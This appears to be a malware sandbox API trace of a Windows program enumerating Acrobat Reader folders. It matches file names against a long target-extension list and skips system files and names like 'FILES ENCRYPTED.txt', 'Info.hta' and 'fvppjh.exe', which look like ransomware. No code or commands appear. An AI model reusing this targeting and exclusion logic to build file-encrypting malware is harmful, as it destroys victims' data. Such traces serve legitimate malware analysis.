	[0172.730] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0172.730] lstrlenW (lpString=".cfu") returned 4
	[0172.730] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0172.730] lstrlenW (lpString=".chm") returned 4
	[0172.730] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0172.730] lstrlenW (lpString=".cin") returned 4
	[0172.730] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0172.730] lstrlenW (lpString=".class") returned 6
	[0172.730] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0172.730] lstrlenW (lpString=".clx") returned 4
	[0172.730] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0172.730] lstrlenW (lpString=".config") returned 7
	[0172.730] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0172.730] lstrlenW (lpString=".cpp") returned 4
	[0172.730] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0172.730] lstrlenW (lpString=".cr2") returned 4
	[0172.730] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0172.730] lstrlenW (lpString=".crt") returned 4
	[0172.730] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0172.730] lstrlenW (lpString=".crw") returned 4
	[0172.730] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0172.730] lstrlenW (lpString=".cs") returned 3
	[0172.730] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0172.730] lstrlenW (lpString=".css") returned 4
	[0172.730] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0172.730] lstrlenW (lpString=".csv") returned 4
	[0172.730] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0172.731] lstrlenW (lpString=".cub") returned 4
	[0172.731] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0172.731] lstrlenW (lpString=".dae") returned 4
	[0172.731] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0172.731] lstrlenW (lpString=".dat") returned 4
	[0172.731] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0172.731] lstrlenW (lpString=".db") returned 3
	[0172.731] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0172.731] lstrlenW (lpString=".dbf") returned 4
	[0172.731] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0172.731] lstrlenW (lpString=".dbx") returned 4
	[0172.731] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0172.731] lstrlenW (lpString=".dc3") returned 4
	[0172.731] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0172.731] lstrlenW (lpString=".dcm") returned 4
	[0172.731] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0172.731] lstrlenW (lpString=".dcr") returned 4
	[0172.731] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0172.731] lstrlenW (lpString=".der") returned 4
	[0172.731] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0172.731] lstrlenW (lpString=".dib") returned 4
	[0172.731] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0172.731] lstrlenW (lpString=".dic") returned 4
	[0172.731] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0172.731] lstrlenW (lpString=".dif") returned 4
	[0172.731] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0172.731] lstrlenW (lpString=".divx") returned 5
	[0172.731] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0172.731] lstrlenW (lpString=".djvu") returned 5
	[0172.731] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0172.731] lstrlenW (lpString=".dng") returned 4
	[0172.731] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0172.731] lstrlenW (lpString=".doc") returned 4
	[0172.731] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0172.731] lstrlenW (lpString=".docm") returned 5
	[0172.732] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0172.732] lstrlenW (lpString=".docx") returned 5
	[0172.732] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0172.732] lstrlenW (lpString=".dot") returned 4
	[0172.732] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0172.732] lstrlenW (lpString=".dotm") returned 5
	[0172.732] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0172.732] lstrlenW (lpString=".dotx") returned 5
	[0172.732] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0172.732] lstrlenW (lpString=".dpx") returned 4
	[0172.732] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0172.732] lstrlenW (lpString=".dqy") returned 4
	[0172.732] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0172.732] lstrlenW (lpString=".dsn") returned 4
	[0172.732] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0172.732] lstrlenW (lpString=".dt") returned 3
	[0172.732] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0172.732] lstrlenW (lpString=".dtd") returned 4
	[0172.732] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0172.732] lstrlenW (lpString=".dwg") returned 4
	[0172.732] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0172.732] lstrlenW (lpString=".dwt") returned 4
	[0172.732] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0172.732] lstrlenW (lpString=".dx") returned 3
	[0172.732] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0172.732] lstrlenW (lpString=".dxf") returned 4
	[0172.732] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0172.732] lstrlenW (lpString=".edml") returned 5
	[0172.732] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0172.732] lstrlenW (lpString=".efd") returned 4
	[0172.732] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0172.732] lstrlenW (lpString=".elf") returned 4
	[0172.732] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0172.732] lstrlenW (lpString=".emf") returned 4
	[0172.733] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0172.733] lstrlenW (lpString=".emz") returned 4
	[0172.733] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0172.733] lstrlenW (lpString=".epf") returned 4
	[0172.733] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0172.733] lstrlenW (lpString=".eps") returned 4
	[0172.733] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0172.733] lstrlenW (lpString=".epsf") returned 5
	[0172.733] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0172.733] lstrlenW (lpString=".epsp") returned 5
	[0172.733] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0172.733] lstrlenW (lpString=".erf") returned 4
	[0172.733] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0172.733] lstrlenW (lpString=".exr") returned 4
	[0172.733] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0172.733] lstrlenW (lpString=".f4v") returned 4
	[0172.733] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0172.733] lstrlenW (lpString=".fido") returned 5
	[0172.733] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0172.733] lstrlenW (lpString=".flm") returned 4
	[0172.733] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0172.733] lstrlenW (lpString=".flv") returned 4
	[0172.733] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0172.733] lstrlenW (lpString=".frm") returned 4
	[0172.733] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0172.733] lstrlenW (lpString=".fxg") returned 4
	[0172.733] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0172.733] lstrlenW (lpString=".geo") returned 4
	[0172.733] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0172.733] lstrlenW (lpString=".gif") returned 4
	[0172.733] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0172.733] lstrlenW (lpString=".grs") returned 4
	[0172.733] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0172.733] lstrlenW (lpString=".gz") returned 3
	[0172.734] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0172.734] lstrlenW (lpString=".h") returned 2
	[0172.734] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0172.734] lstrlenW (lpString=".hdr") returned 4
	[0172.734] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0172.734] lstrlenW (lpString=".hpp") returned 4
	[0172.734] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0172.734] lstrlenW (lpString=".hta") returned 4
	[0172.734] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0172.734] lstrlenW (lpString=".htc") returned 4
	[0172.734] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0172.734] lstrlenW (lpString=".htm") returned 4
	[0172.734] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0172.734] lstrlenW (lpString=".html") returned 5
	[0172.734] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0172.734] lstrlenW (lpString=".icb") returned 4
	[0172.734] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0172.734] lstrlenW (lpString=".ics") returned 4
	[0172.734] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0172.734] lstrlenW (lpString=".iff") returned 4
	[0172.734] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0172.734] lstrlenW (lpString=".inc") returned 4
	[0172.734] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0172.734] lstrlenW (lpString=".indd") returned 5
	[0172.734] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0172.734] lstrlenW (lpString=".ini") returned 4
	[0172.734] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0172.734] lstrlenW (lpString=".iqy") returned 4
	[0172.734] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0172.734] lstrlenW (lpString=".j2c") returned 4
	[0172.734] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0172.734] lstrlenW (lpString=".j2k") returned 4
	[0172.734] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0172.734] lstrlenW (lpString=".java") returned 5
	[0172.735] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0172.735] lstrlenW (lpString=".jp2") returned 4
	[0172.735] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0172.735] lstrlenW (lpString=".jpc") returned 4
	[0172.735] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0172.735] lstrlenW (lpString=".jpe") returned 4
	[0172.735] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0172.735] lstrlenW (lpString=".jpeg") returned 5
	[0172.735] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0172.735] lstrlenW (lpString=".jpf") returned 4
	[0172.735] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0172.735] lstrlenW (lpString=".jpg") returned 4
	[0172.735] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0172.735] lstrlenW (lpString=".jpx") returned 4
	[0172.735] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0172.735] lstrlenW (lpString=".js") returned 3
	[0172.735] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0172.735] lstrlenW (lpString="ui-strings.js") returned 13
	[0172.735] lstrlenW (lpString=".GTF") returned 4
	[0172.735] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0172.735] lstrlenW (lpString="ui-strings.js") returned 13
	[0172.735] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0172.735] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0172.735] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0172.735] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0172.735] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0172.735] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0172.735] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0172.735] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0172.735] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sl-si\\ui-strings.js") returned 145
	[0172.735] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x54c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0
	[0172.736] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0172.736] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.736] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0172.736] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sl-sl") returned 131
	[0172.736] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sl-sl") returned 1
	[0172.736] lstrlenW (lpString="sl-sl") returned 5
	[0172.736] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sl-sl") returned -1
	[0172.736] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4220460
	[0172.736] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sl-sl") returned 131
	[0172.736] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sl-sl\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140c58
	[0172.736] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0172.736] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0172.736] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0172.736] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.736] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0172.736] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sv-se") returned 131
	[0172.736] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sv-se") returned 1
	[0172.736] lstrlenW (lpString="sv-se") returned 5
	[0172.736] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sv-se") returned -1
	[0172.736] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4220460
	[0172.737] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sv-se") returned 131
	[0172.737] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sv-se\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140a18
	[0172.737] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0172.737] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0172.737] lstrlenW (lpString="ui-strings.js") returned 13
	[0172.737] lstrlenW (lpString=".1cd") returned 4
	[0172.737] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0172.737] lstrlenW (lpString=".3ds") returned 4
	[0172.737] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0172.737] lstrlenW (lpString=".3fr") returned 4
	[0172.737] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0172.737] lstrlenW (lpString=".3g2") returned 4
	[0172.737] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0172.737] lstrlenW (lpString=".3gp") returned 4
	[0172.737] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0172.737] lstrlenW (lpString=".7z") returned 3
	[0172.737] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0172.737] lstrlenW (lpString=".accda") returned 6
	[0172.737] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0172.737] lstrlenW (lpString=".accdb") returned 6
	[0172.737] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0172.737] lstrlenW (lpString=".accdc") returned 6
	[0172.737] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0172.738] lstrlenW (lpString=".accde") returned 6
	[0172.738] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0172.738] lstrlenW (lpString=".accdt") returned 6
	[0172.738] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0172.738] lstrlenW (lpString=".accdw") returned 6
	[0172.738] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0172.738] lstrlenW (lpString=".adb") returned 4
	[0172.738] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0172.738] lstrlenW (lpString=".adp") returned 4
	[0172.738] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0172.738] lstrlenW (lpString=".ai") returned 3
	[0172.738] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0172.738] lstrlenW (lpString=".ai3") returned 4
	[0172.738] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0172.738] lstrlenW (lpString=".ai4") returned 4
	[0172.738] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0172.738] lstrlenW (lpString=".ai5") returned 4
	[0172.738] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0172.738] lstrlenW (lpString=".ai6") returned 4
	[0172.738] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0172.738] lstrlenW (lpString=".ai7") returned 4
	[0172.738] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0172.738] lstrlenW (lpString=".ai8") returned 4
	[0172.738] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0172.738] lstrlenW (lpString=".anim") returned 5
	[0172.738] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0172.738] lstrlenW (lpString=".arw") returned 4
	[0172.738] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0172.738] lstrlenW (lpString=".as") returned 3
	[0172.738] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0172.738] lstrlenW (lpString=".asa") returned 4
	[0172.738] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0172.738] lstrlenW (lpString=".asc") returned 4
	[0172.738] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0172.739] lstrlenW (lpString=".ascx") returned 5
	[0172.739] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0172.739] lstrlenW (lpString=".asm") returned 4
	[0172.739] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0172.739] lstrlenW (lpString=".asmx") returned 5
	[0172.739] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0172.739] lstrlenW (lpString=".asp") returned 4
	[0172.739] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0172.739] lstrlenW (lpString=".aspx") returned 5
	[0172.739] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0172.739] lstrlenW (lpString=".asr") returned 4
	[0172.739] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0172.739] lstrlenW (lpString=".asx") returned 4
	[0172.739] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0172.739] lstrlenW (lpString=".avi") returned 4
	[0172.739] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0172.739] lstrlenW (lpString=".avs") returned 4
	[0172.739] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0172.739] lstrlenW (lpString=".backup") returned 7
	[0172.739] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0172.739] lstrlenW (lpString=".bak") returned 4
	[0172.739] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0172.739] lstrlenW (lpString=".bay") returned 4
	[0172.739] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0172.739] lstrlenW (lpString=".bd") returned 3
	[0172.739] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0172.739] lstrlenW (lpString=".bin") returned 4
	[0172.739] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0172.739] lstrlenW (lpString=".bmp") returned 4
	[0172.739] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0172.740] lstrlenW (lpString=".bz2") returned 4
	[0172.740] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0172.740] lstrlenW (lpString=".c") returned 2
	[0172.740] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0172.740] lstrlenW (lpString=".cdr") returned 4
	[0172.740] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0172.740] lstrlenW (lpString=".cer") returned 4
	[0172.740] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0172.740] lstrlenW (lpString=".cf") returned 3
	[0172.740] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0172.740] lstrlenW (lpString=".cfc") returned 4
	[0172.740] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0172.740] lstrlenW (lpString=".cfm") returned 4
	[0172.740] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0172.740] lstrlenW (lpString=".cfml") returned 5
	[0172.740] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0172.740] lstrlenW (lpString=".cfu") returned 4
	[0172.740] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0172.740] lstrlenW (lpString=".chm") returned 4
	[0172.740] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0172.740] lstrlenW (lpString=".cin") returned 4
	[0172.740] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0172.740] lstrlenW (lpString=".class") returned 6
	[0172.740] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0172.740] lstrlenW (lpString=".clx") returned 4
	[0172.740] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0172.740] lstrlenW (lpString=".config") returned 7
	[0172.740] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0172.740] lstrlenW (lpString=".cpp") returned 4
	[0172.740] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0172.740] lstrlenW (lpString=".cr2") returned 4
	[0172.740] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0172.740] lstrlenW (lpString=".crt") returned 4
	[0172.740] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0172.741] lstrlenW (lpString=".crw") returned 4
	[0172.741] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0172.741] lstrlenW (lpString=".cs") returned 3
	[0172.741] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0172.741] lstrlenW (lpString=".css") returned 4
	[0172.741] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0172.741] lstrlenW (lpString=".csv") returned 4
